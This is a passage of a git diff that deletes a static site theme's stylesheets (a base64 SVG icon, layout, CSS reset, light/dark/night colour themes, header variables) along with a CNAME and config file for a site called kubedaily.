C4yNTkJYy0wLjQ1MS0wLjAzOC0wLjg5Mi0wLjA4Ni0xLjM0Mi0wLjEzNWMtMC4yODgtMC4wMzgtMC41MTgsMC4yNS0wLjQxMiwwLjUyOGMwLjE2MywwLjQzMiwwLjMxNiwwLjg2NSwwLjQ3LDEuMzA3CWMwLjMzNiwwLjk4LDAuNjgxLDEuOTY5LDAuOTk3LDIuOTY4bDAuMTA1LDAuMzQ2YzEuNjY4LTEuMTQzLDIuOTYzLTIuNzk1LDMuNjQzLTQuNzM2TDMyLjYyNywyOC4wMnogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NQljMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOTgJYzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjYuNjA2LDMzLjYyYy0wLjU1Ni0wLjg4NC0xLjA3NC0xLjc5Ni0xLjU5Mi0yLjY5OWMtMC4yMy0wLjM5NC0wLjQ1MS0wLjc4OC0wLjY2Mi0xLjE5MWMtMC4xNTMtMC4yNzktMC41NDctMC4yNzktMC43LDAJYy0wLjIyMSwwLjQxMy0wLjQ1MSwwLjgxNy0wLjY5LDEuMjFjLTAuNTI3LDAuOTAzLTEuMDU1LDEuODA2LTEuNjExLDIuNjlsLTAuMjQsMC4zODRjMC44OTIsMC4yNzksMS44NDEsMC40MjMsMi44MTksMC40MjMJYzEuMDA3LDAsMS45ODUtMC4xNTQsMi44OTYtMC40NTJMMjYuNjA2LDMzLjYyeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjIJYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTEJYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0zMi42MjcsMjguMDIJYy0xLjA0NS0wLjA2Ny0yLjA4MS0wLjE2My0zLjEyNi0wLjI1OWMtMC40NTEtMC4wMzgtMC44OTItMC4wODYtMS4zNDItMC4xMzVjLTAuMjg4LTAuMDM4LTAuNTE4LDAuMjUtMC40MTIsMC41MjgJYzAuMTYzLDAuNDMyLDAuMzE2LDAuODY1LDAuNDcsMS4zMDdjMC4zMzYsMC45OCwwLjY4MSwxLjk2OSwwLjk5NywyLjk2OGwwLjEwNSwwLjM0NmMxLjY2OC0xLjE0MywyLjk2My0yLjc5NSwzLjY0My00LjczNglMMzIuNjI3LDI4LjAyeiBNMzIuMTE5LDE5LjgzNWwtMC4yNTksMC4yNzljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4Yy0wLjQ3LDAuNDgtMC45NzgsMC45NDEtMS40NjcsMS40MTIJYzAuNjUyLDAuMTYzLDEuMzA0LDAuMzM2LDEuOTU2LDAuNTI4YzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1YzAuMDEtMC4xNTQsMC4wMS0wLjMxNywwLjAxLTAuNDgJQzMzLjUxOSwyMi45OTYsMzMuMDExLDIxLjI4NiwzMi4xMTksMTkuODM1eiBNMzIuMTE5LDE5LjgzNWwtMC4yNTksMC4yNzljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4CWMtMC40NywwLjQ4LTAuOTc4LDAuOTQxLTEuNDY3LDEuNDEyYzAuNjUyLDAuMTYzLDEuMzA0LDAuMzM2LDEuOTU2LDAuNTI4YzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1CWMwLjAxLTAuMTU0LDAuMDEtMC4zMTcsMC4wMS0wLjQ4QzMzLjUxOSwyMi45OTYsMzMuMDExLDIxLjI4NiwzMi4xMTksMTkuODM1eiBNMzIuNjI3LDI4LjAyYy0xLjA0NS0wLjA2Ny0yLjA4MS0wLjE2My0zLjEyNi0wLjI1OQljLTAuNDUxLTAuMDM4LTAuODkyLTAuMDg2LTEuMzQyLTAuMTM1Yy0wLjI4OC0wLjAzOC0wLjUxOCwwLjI1LTAuNDEyLDAuNTI4YzAuMTYzLDAuNDMyLDAuMzE2LDAuODY1LDAuNDcsMS4zMDcJYzAuMzM2LDAuOTgsMC42ODEsMS45NjksMC45OTcsMi45NjhsMC4xMDUsMC4zNDZjMS42NjgtMS4xNDMsMi45NjMtMi43OTUsMy42NDMtNC43MzZMMzIuNjI3LDI4LjAyeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1CWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OAljMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OAljLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNQljMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5CWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOAljMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjMJYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyCUMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjIJYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTEJYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OQljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4Yy0wLjQ3LDAuNDgtMC45NzgsMC45NDEtMS40NjcsMS40MTJjMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjgJYzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1YzAuMDEtMC4xNTQsMC4wMS0wLjMxNywwLjAxLTAuNDhDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMgljMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjhjMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OAlDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMgljMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yM2MwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMQljMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDJDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NQljMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOTgJYzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjJjMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yMwljMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTFjMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDIJQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTEyLjkzMywyOC4yMzFjLTAuMjIxLDAuMDE5LTAuNDMxLDAuMDE5LTAuNjgxLTAuMTA2Yy0wLjI5Ny0wLjEyNS0wLjU3NS0wLjIwMi0wLjgyNS0wLjExNQljLTAuMjU5LDAuMDQ4LTAuNTA4LDAuMTE1LTAuNzU3LDAuMTkyYy0wLjQ5OSwwLjE2My0wLjk4OCwwLjM0Ni0xLjQ0OCwwLjY3MmMtMC40NywwLjMzNi0xLjEyMiwwLjIyMS0xLjQ1Ny0wLjI1CWMtMC4zMjYtMC40NzEtMC4yMjEtMS4xMjQsMC4yNDktMS40NTFjMC4yNC0wLjE3MywwLjUzNy0wLjIzMSwwLjgwNS0wLjE4M2MwLjU0NywwLjExNSwxLjA3NCwwLjA3NywxLjU5MiwwLjAxCWMwLjI1OS0wLjAyOSwwLjUxOC0wLjA3NywwLjc2Ny0wLjE0NGMwLjI1OS0wLjAxOSwwLjQ4OS0wLjIxMSwwLjctMC40NTFjMC4xODItMC4yMTEsMC4zOTMtMC4yOTgsMC42MDQtMC4zNzUJQzEyLjU2OSwyNi43ODEsMTIuNzEzLDI3LjUyLDEyLjkzMywyOC4yMzF6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTIwLjA1NywzNS42ODZjLTAuMTE1LDAuMjExLTAuMjQ5LDAuNDAzLTAuNTE4LDAuNTQ4Yy0wLjI3OCwwLjE1NC0wLjUwOCwwLjMzNi0wLjU5NCwwLjU4NgljLTAuMTE1LDAuMjMxLTAuMjIxLDAuNDcxLTAuMzA3LDAuNzExYy0wLjE3MywwLjUtMC4zMjYsMC45OTktMC4zMzYsMS41NjZjLTAuMDE5LDAuNTc2LTAuNTA4LDEuMDI4LTEuMDgzLDEuMDA5CWMtMC41NzUtMC4wMTktMS4wMjYtMC40OTktMS4wMDctMS4wNzZjMC4wMS0wLjI5OCwwLjE0NC0wLjU1NywwLjM0NS0wLjc0YzAuNDIyLTAuMzg0LDAuNzEtMC44MjYsMC45NzgtMS4yNjgJYzAuMTI1LTAuMjMxLDAuMjQtMC40NjEsMC4zNDUtMC43MDFjMC4xMzQtMC4yMjEsMC4xMjUtMC41MTksMC4wNjctMC44MzZjLTAuMDY3LTAuMjk4LDAtMC41MzgsMC4wNzctMC43NTkJQzE4LjY2NywzNS4xMSwxOS4zNDgsMzUuNDM2LDIwLjA1NywzNS42ODZ6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTMxLjQzOCwzOS43ODhjLTAuMzkzLDAuNDIzLTEuMDQ1LDAuNDUxLTEuNDc3LDAuMDY3Yy0wLjIyMS0wLjIwMi0wLjMzNi0wLjQ3MS0wLjMzNi0wLjc0OQljLTAuMDE5LTAuNTY3LTAuMTYzLTEuMDY2LTAuMzM2LTEuNTY2Yy0wLjA4Ni0wLjI0LTAuMTgyLTAuNDgtMC4yOTctMC43MmMtMC4wODYtMC4yNS0wLjMxNi0wLjQyMy0wLjU5NS0wLjU4NgljLTAuMjY4LTAuMTQ0LTAuNDAzLTAuMzQ2LTAuNTM3LTAuNTY3YzAuNzE5LTAuMjU5LDEuNDA5LTAuNTk2LDIuMDUyLTAuOTg5djAuMDFjMC4wNzcsMC4yNSwwLjE2MywwLjQ5LDAuMDg2LDAuODE3CWMtMC4wNjcsMC4zMTctMC4wNzcsMC42MDUsMC4wNTgsMC44MzZjMC4xMDUsMC4yMzEsMC4yMjEsMC40NzEsMC4zNDUsMC42OTJjMC4yNTksMC40NTEsMC41NDcsMC45MDMsMC45NjgsMS4yNzgJQzMxLjc5MywzOC43MDIsMzEuODIyLDM5LjM1NiwzMS40MzgsMzkuNzg4eiI+PC9wYXRoPjxwYXRoIGZpbGw9Im5vbmUiIGQ9Ik0zOS42NDYsMjguODQ2Yy0wLjI4OCwwLjA2Ny0wLjU3NSwwLTAuODA1LTAuMTQ0Yy0wLjQ3LTAuMzE3LTAuOTY4LTAuNDktMS40NjctMC42MzQJYy0wLjI0OS0wLjA2Ny0wLjUwOC0wLjEyNS0wLjc1Ny0wLjE2M2MtMC4yNDktMC4wNzctMC41MzcsMC0wLjgyNSwwLjEzNGMtMC4yODgsMC4xNjMtMC41NDcsMC4xMzUtMC44MTUsMC4xMTVoLTAuMDI5CWMwLjIyMS0wLjcyLDAuMzY0LTEuNDcsMC40NDEtMi4yMzhoMC4wMWMwLjI0OSwwLjA3NywwLjQ5OSwwLjE0NCwwLjcxOSwwLjQwM2MwLjIyMSwwLjIzMSwwLjQ1MSwwLjQwMywwLjcxLDAuNDIzCWMwLjI1OSwwLjA1OCwwLjUwOCwwLjA5NiwwLjc2NywwLjEyNWMwLjUyNywwLjA0OCwxLjA0NSwwLjA2NywxLjYwMS0wLjA1OGMwLjU2Ni0wLjEyNSwxLjEyMiwwLjIzMSwxLjI0NiwwLjc5NwlDNDAuNTY2LDI4LjE2NCw0MC4yMTEsMjguNzIxLDM5LjY0NiwyOC44NDZ6Ij48L3BhdGg+Cjwvc3ZnPg==') 50% 50% no-repeat; - background-size: 100%; } \ No newline at end of file diff --git a/assets/scss/layout.scss b/assets/scss/layout.scss deleted file mode 100644 index 3e376f1..0000000 --- a/assets/scss/layout.scss +++ /dev/null @@ -1,368 +0,0 @@ -body { - font-family: var(--font-family); - background: var(--background); - color: var(--color); - display: flex; - flex-direction: column; - min-height: 100svh; -} - -#site-header { - display: grid; - grid-template-columns: 2fr 1fr; - grid-template-rows: repeat(3, var(--site-header-height)); -} - -#site-header-menu, #site-header-search { - grid-column: 1 / 3; -} - -#site-footer { - display: grid; - grid-template-columns: 1fr 1fr; - grid-template-rows: repeat(3, var(--site-footer-height)); -} - -#site-footer-copyright, #site-footer-love { - grid-column: 1 / 3; -} - -#site-main-content-wrapper { - display: flex; - flex: 1; -} - -#sidebar, #toc, #article-nav, #sidebar .btn-close, #toc .btn-close { - display: none; -} - -main { - flex: 1; - display: flex; - overflow: auto; -} - -#article { - flex: 1; - width: 100vw; -} - -#sidebar { - width: 85%; - left: -85%; -} - -#toc { - width: 85%; - right: -85%; -} - -/* Small Tablet */ -@media (min-width: 768px) and (max-width: 1023px) { - #site-header { - grid-template-columns: repeat(6, 1fr); - grid-template-rows: repeat(2, var(--site-header-height)); - } - - #site-header-brand { - grid-column: 1 / 6; - } - - #site-header-controls { - grid-column: 6 / 7; - } - - #site-header-menu { - grid-column: 1 / 5; - } - - #site-header-search { - grid-column: 5 / 7; - } - - #site-footer { - grid-template-columns: repeat(4, 1fr); - grid-template-rows: repeat(2, var(--site-footer-height)); - } - - #site-footer-copyright { - grid-column: 1 / 3; - } - - #site-footer-social { - grid-column: 3 / 4; - } - - #site-footer-fund { - grid-column: 4 / 5; - } - - #site-footer-love { - grid-column: 1 / 5; - } - - #sidebar { - width: 50%; - left: -50%; - } - - #toc { - width: 50%; - right: -50%; - } -} - -/* From Large Tablet */ -@media (min-width: 1024px) { - #site-header { - grid-template-columns: repeat(6, 1fr); - grid-template-rows: var(--site-header-height); - } - - #site-header-brand { - grid-column: 1 / 2; - } - - #site-header-menu { - grid-column: 2 / 5; - grid-row: 1; - } - - #site-header-search { - grid-column: 5 / 6; - grid-row: 1; - } - - #site-header-controls { - grid-column: 6 / 7; - } - - #site-footer { - grid-template-columns: repeat(5, 1fr); - grid-template-rows: var(--site-footer-height); - } - - #site-footer-copyright { - grid-column: 1 / 3; - } - - #site-footer-love { - grid-column: 3 / 4; - grid-row: 1; - } - - #site-footer-social { - grid-column: 4 / 5; - } - - #site-footer-fund { - grid-column: 5 / 6; - } - - #article-nav-toc-btn { - display: none; - } -} - -/* Large Tablet */ -@media (min-width: 1024px) and (max-width: 1279px) { - #sidebar { - width: 33%; - left: -33%; - } - - #article { - width: 75vw; - } - - #toc { - width: 25%; - display: flex; - flex-direction: column; - } - - #toc .sticky { - position: fixed; - right: 0; - width: 25%; - } -} - -/* From Desktop */ -@media (min-width: 1280px) { - #sidebar { - width: 20%; - display: flex; - flex-direction: column; - } - - #article { - width: 60vw; - } - - #toc { - width: 25%; - display: flex; - flex-direction: column; - } - - #sidebar .sticky { - position: fixed; - left: 0; - width: 20%; - } - - #toc .sticky { - position: fixed; - right: 0; - width: 20%; - } -} - -/* Upto Large Tablet */ -@media (max-width: 1023px) { - #toc { - position: fixed; - top: 0; - height: 100%; - transition: .3s; - z-index: 300; - overflow-x: auto; - background: var(--background); - box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1); - } - - :root[data-color="dark"] #toc, :root[data-color="night"] #toc { - box-shadow: 0 4px 30px rgba(255, 255, 255, 0.1); - } - - .offcanvas-toc-on #toc { - animation: slide-in-right .3s forwards; - display: flex; - flex-direction: column; - padding-left: 16px; - z-index: 10; - cursor: default; - } - - .offcanvas-toc-on:before { - content: ""; - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - z-index: 5; - } - - .offcanvas-toc-on #toc .btn-close { - display: block; - position: absolute; - top: 10px; - left: 10px; - } - - #article-nav-toc-btn { - display: flex; - box-shadow: var(--box-shadow2); - border-radius: 6px; - padding: 6px; - cursor: pointer; - white-space: nowrap; - gap: 6px; - color: var(--color2); - } -} - -/* Upto Desktop */ -@media (max-width: 1279px) { - #sidebar { - position: fixed; - top: 0; - height: 100%; - transition: .3s; - z-index: 200; - overflow-x: auto; - background: var(--background); - box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1); - } - - :root[data-color="dark"] #sidebar, :root[data-color="night"] #sidebar { - box-shadow: 0 4px 30px rgba(255, 255, 255, 0.1); - } - - .offcanvas-sidebar-on #sidebar { - animation: slide-in-left .3s forwards; - display: flex; - flex-direction: column; - z-index: 10; - cursor: default; - } - - .offcanvas-sidebar-on:before { - content: ""; - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - z-index: 5; - } - - .offcanvas-sidebar-on #sidebar .btn-close { - display: block; - position: absolute; - top: 10px; - right: 10px; - } - - #article-nav { - display: flex; - gap: 12px; - overflow: auto; - justify-content: space-between; - height: var(--site-header-height); - align-items: center; - padding: 0 2px; - } - - #article-nav-menu-btn { - display: flex; - box-shadow: var(--box-shadow2); - border-radius: 6px; - padding: 6px; - cursor: pointer; - white-space: nowrap; - gap: 6px; - color: var(--color2); - } -} - -body.offcanvas-sidebar-on, body.offcanvas-toc-on { - cursor: pointer; - overflow: hidden; -} - -.offcanvas-sidebar-on:before, .offcanvas-toc-on:before { - background: rgba(255, 255, 255, 0.1); - backdrop-filter: blur(var(--blur)); - -webkit-backdrop-filter: blur(var(--blur)); -} - -@keyframes slide-in-left { - from { - transform: translateX(0); - } - to { - transform: translateX(100%); - } -} - -@keyframes slide-in-right { - from { - transform: translateX(0); - } - to { - transform: translateX(-100%); - } -} \ No newline at end of file diff --git a/assets/scss/reset.scss b/assets/scss/reset.scss deleted file mode 100644 index 2ff2733..0000000 --- a/assets/scss/reset.scss +++ /dev/null @@ -1,87 +0,0 @@ -/* https://github.com/elad2412/the-new-css-reset v1.11 */ -/* custom styles for: pre, code */ - -*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol *)) { - all: unset; - display: revert; -} - -*, -*::before, -*::after { - box-sizing: border-box; -} - -html { - -moz-text-size-adjust: none; - -webkit-text-size-adjust: none; - text-size-adjust: none; -} - -a, button { - cursor: revert; -} - -ol, ul, menu { - list-style: none; -} - -img { - max-inline-size: 100%; - max-block-size: 100%; -} - -table { - border-collapse: collapse; -} - -input, textarea { - -webkit-user-select: auto; -} - -textarea { - white-space: revert; -} - -meter { - -webkit-appearance: revert; - appearance: revert; -} - -:where(pre) { - all: revert; - box-sizing: border-box; -} - -::placeholder { - color: unset; -} - -::marker { - content: initial; -} - -:where([hidden]) { - display: none; -} - -:where([contenteditable]:not([contenteditable="false"])) { - -moz-user-modify: read-write; - -webkit-user-modify: read-write; - overflow-wrap: break-word; - -webkit-line-break: after-white-space; - -webkit-user-select: auto; -} - -:where([draggable="true"]) { - -webkit-user-drag: element; -} - -:where(dialog:modal) { - all: revert; - box-sizing: border-box; -} - -pre, code { - margin: 0; -} \ No newline at end of file diff --git a/assets/scss/theme/default.scss b/assets/scss/theme/default.scss deleted file mode 100644 index 9576307..0000000 --- a/assets/scss/theme/default.scss +++ /dev/null @@ -1,123 +0,0 @@ -@import "../font/inter"; -@import "../icon/default"; - -:root { - --font-family: 'Inter', sans-serif; - --font-family-brand: 'Times', serif; - --font-family-code: 'Menlo', monospace; - - --background: #ffffff; - --color: #355265; - --color2: #274457; - --color3: #476d86; - - --color-anchor: #328ac1; - --color-hover: #4b9dd0; - - --background-fg: #f7f7f7; - --background-fg2: #ebebeb; - --border-color: #dddddd; - - --box-shadow: 0 0 1px rgba(0, 0, 0, .7); - --box-shadow2: 0 0 3px rgba(0, 0, 0, .2); - - --blur: 10px; - - --home-cover-background: radial-gradient(circle, rgba(255,255,255,1) 0%, rgba(255,255,250,1) 25%, rgba(214,219,220,1) 50%, rgba(255,255,250,1) 75%, rgba(255,255,255,1) 100%); - - --icon-filter: invert(41%) sepia(19%) saturate(840%) hue-rotate(161deg) brightness(92%) contrast(92%); - - /* base16 tomorrow */ - --chroma-base00: #f9f9f9; - --chroma-base01: #e0e0e0; - --chroma-base02: rgba(159, 218, 159, .2); - --chroma-base03: #8e908c; - --chroma-base04: #969896; - --chroma-base05: #4d4d4c; - --chroma-base06: #282a2e; - --chroma-base07: #1d1f21; - --chroma-base08: #c82829; - --chroma-base09: #f5871f; - --chroma-base0A: #eab700; - --chroma-base0B: #718c00; - --chroma-base0C: #3e999f; - --chroma-base0D: #4271ae; - --chroma-base0E: #8959a8; - --chroma-base0F: #a3685a; -} - -:root[data-color="dark"] { - --background: #121212; - --color: #efefef; - --color2: #ffffff; - --color3: #b3b3b3; - - --background-fg: #333333; - --background-fg2: #1f1f1f; - --border-color: rgba(255, 255, 255, .4); - - --box-shadow: 0 0 1px rgba(255, 255, 255, 1); - --box-shadow2: 0 0 3px rgba(255, 255, 255, .6); - - --home-cover-background: radial-gradient(circle, rgba(23,23,25,1) 0%, rgba(18,18,0,1) 25%, rgba(32,32,32,1) 50%, rgba(18,18,0,1) 75%, rgba(23,23,25,1) 100%); - - --icon-filter: invert(83%) sepia(0%) saturate(1582%) hue-rotate(126deg) brightness(86%) contrast(80%); - - /* base16 tomorrow night */ - --chroma-base00: #080808; - --chroma-base01: #393939; - --chroma-base02: rgba(159, 218, 159, .1); - --chroma-base03: #999999; - --chroma-base04: #b4b7b4; - --chroma-base05: #cccccc; - --chroma-base06: #e0e0e0; - --chroma-base07: #ffffff; - --chroma-base08: #f2777a; - --chroma-base09: #f99157; - --chroma-base0A: #ffcc66; - --chroma-base0B: #99cc99; - --chroma-base0C: #66cccc; - --chroma-base0D: #6699cc; - --chroma-base0E: #cc99cc; - --chroma-base0F: #a3685a; -} - -:root[data-color="night"] { - --background: #333333; - --color: #cccccc; - --color2: #dedede; - --color3: #9d9d9d; - - --background-fg: #444444; - --background-fg2: #303030; - --border-color: rgba(255, 255, 255, 0.2); - - --box-shadow: 0 0 1px rgba(225, 255, 255, 1); - --box-shadow2: 0 0 3px rgba(255, 255, 255, .6); - - --home-cover-background: radial-gradient(circle, rgba(52,52,52,1) 0%, rgba(42,42,42,1) 25%, rgba(57,57,57,1) 50%, rgba(42,42,42,1) 75%, rgba(52,52,52,1) 100%); - - --icon-filter: invert(60%) sepia(25%) saturate(20%) hue-rotate(343deg) brightness(98%) contrast(94%); - - /* base16 twilight */ - --chroma-base00: #1e1e1e; - --chroma-base01: #323537; - --chroma-base02: rgba(159, 218, 159, .1); - --chroma-base03: #5f5a60; - --chroma-base04: #838184; - --chroma-base05: #a7a7a7; - --chroma-base06: #c3c3c3; - --chroma-base07: #ffffff; - --chroma-base08: #cf6a4c; - --chroma-base09: #cda869; - --chroma-base0A: #f9ee98; - --chroma-base0B: #8f9d6a; - --chroma-base0C: #afc4db; - --chroma-base0D: #7587a6; - --chroma-base0E: #9b859d; - --chroma-base0F: #9b703f; -} - -.icon:not(.icon-colored) { - filter: var(--icon-filter); -} \ No newline at end of file diff --git a/assets/scss/variables.scss b/assets/scss/variables.scss deleted file mode 100644 index ed2b659..0000000 --- a/assets/scss/variables.scss +++ /dev/null @@ -1,19 +0,0 @@ -:root { - --site-header-height: 46px; - --site-footer-height: 46px; -} - -@media (min-width: 1025px) and (max-width: 1280px), -(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait) { - :root { - --site-header-height: 60px; - --site-footer-height: 60px; - } -} - -@media (min-width: 1281px) { - :root { - --site-header-height: 80px; - --site-footer-height: 80px; - } -} \ No newline at end of file diff --git a/config/_default/CNAME b/config/_default/CNAME deleted file mode 100644 index cbfbeae..0000000 --- a/config/_default/CNAME +++ /dev/null @@ -1 +0,0 @@ -https://linuxcollective.github.io \ No newline at end of file diff --git a/config/_default/config.toml b/config/_default/config.toml deleted file mode 100644 index 20b1e9d..0000000 --- a/config/_default/config.toml +++ /dev/null @@ -1,14 +0,0 @@ -title = 'kubedaily' -baseURL = 'https://kubedaily.com' - -defaultContentLanguage = 'en' -languageCode = 'en-us' -enableInlineShortcodes = true -googleAnalytics = '' - 